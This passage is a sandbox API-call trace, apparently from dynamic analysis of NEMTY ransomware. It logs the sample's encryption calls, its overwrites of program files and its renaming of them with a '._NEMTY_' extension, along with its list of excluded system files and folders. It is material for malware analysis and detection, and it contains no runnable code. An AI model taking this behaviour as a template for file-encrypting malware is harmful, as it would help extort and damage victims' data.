dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0096.624] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0096.625] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0096.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0096.625] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="GtVbREDq+TBNRdGddeJcT/1sk4NKrTnuR6DVwnbhZw6wPEP3Uz/dmG3oHAf0L6DT\r\nfS3cQzT+Yf8q6KAOc5djwXKG2fokU7Ewi/3nvFh7Sd7g6q2T3OrZg4V5oMtS7fdr\r\nAroCFh833By1AvmITsniQbwDgMKdY9Vvaz/zQxmH24xgY/Rklc+YMv094mDdOJAo\r\na4gflN9RCxklpLAeBrzYg8Kr/ouPG3YW0I4GWF3JuqEjt/FJP054XnEDLy6wF1RL\r\nOcukCymqvAYy/WG0C8I3GnkeZlt5Dj0kpxLn2Dk8x0utTbRiau/GhWe5CZEnouaK\r\nP1FsttsktWwiltB8LyhOGQ==\r\n", pcchString=0x653e91c) returned 1 [0096.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0096.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0096.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0096.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0096.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0096.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0096.625] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.625] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0096.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0096.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.625] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.634] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.634] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.644] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.644] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.644] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.653] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.653] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.662] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.662] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.662] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.662] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.672] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.672] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.672] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.681] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.681] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.681] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.692] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.693] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.693] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.702] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.702] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.711] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.711] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.711] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.711] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.720] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.720] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.720] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.720] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.726] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.726] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.726] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0096.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.732] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0096.732] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0096.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0096.732] CloseHandle (hObject=0xffffffff) returned 0 [0096.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0096.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0096.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0096.732] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0096.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0096.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0096.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0096.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0096.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0096.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0096.732] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\NavigationRight_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\navigationright_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0096.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0096.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0096.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0096.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0096.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0096.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0096.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0096.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0096.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0096.733] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0096.733] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0096.733] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0096.733] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0096.733] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="...") returned 1 [0096.733] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="windows") returned -1 [0096.733] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0096.733] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="rsa") returned -1 [0096.733] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0096.733] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0096.733] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0096.733] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0096.734] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0096.734] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0096.734] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0096.734] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0096.734] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0096.734] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0096.734] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0096.734] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0096.734] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0096.734] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="programdata") returned -1 [0096.734] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="appdata") returned 1 [0096.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0096.734] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0096.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0096.735] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0096.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0096.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0096.735] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0096.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0096.735] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0096.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0096.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0096.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0096.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0096.735] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0096.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0096.735] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0096.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0096.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0096.735] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0096.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0096.735] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345640, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0096.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0096.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0096.735] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0096.735] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94328 [0096.735] Sleep (dwMilliseconds=0x5) [0096.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xed505470, dwHighDateTime=0x1d561e7)) [0096.749] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xed505470, dwHighDateTime=0x1d561e7)) [0096.749] GetLastError () returned 0x5 [0096.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0096.749] GetLastError () returned 0x5 [0096.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0096.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0096.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0096.749] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0096.749] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0096.749] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0096.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0096.749] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="mRwg/rpYFW/NoeKDvCNbNGQnHbA/hQwsJHA80gDE1ZyntBauGZ9xmvg4HfjAY7H1\r\nTO7wc//ncnPECEuBtkEsTrHmE3jAOJYKD3u1ZXGld8ZYv0hPhyNZ0q/G+QIPs7gl\r\ndXx70dVn/Mfukyga6LoexOHObqIzhurv/cTEYLHIvgw8PHnccIPlC1ZN4+/Jir9O\r\nix1nuH0TLrmie9dBLmt0+HcnbC9bJl5bv6fssEX0MqTuwquecvjF3ZNgOgnChxbn\r\nTI7mweyopNGy4BH1jx8T2EQGSvh1lyv19sReAiROmpyf6KcbWB2rm3x3WRB8B3vS\r\ndtjepbZtK01cOniUxmAXcw==\r\n", pcchString=0x653e91c) returned 1 [0096.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0096.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0096.749] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0096.749] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0096.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0096.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0096.750] CreateFileW (lpFileName="C:\\Program 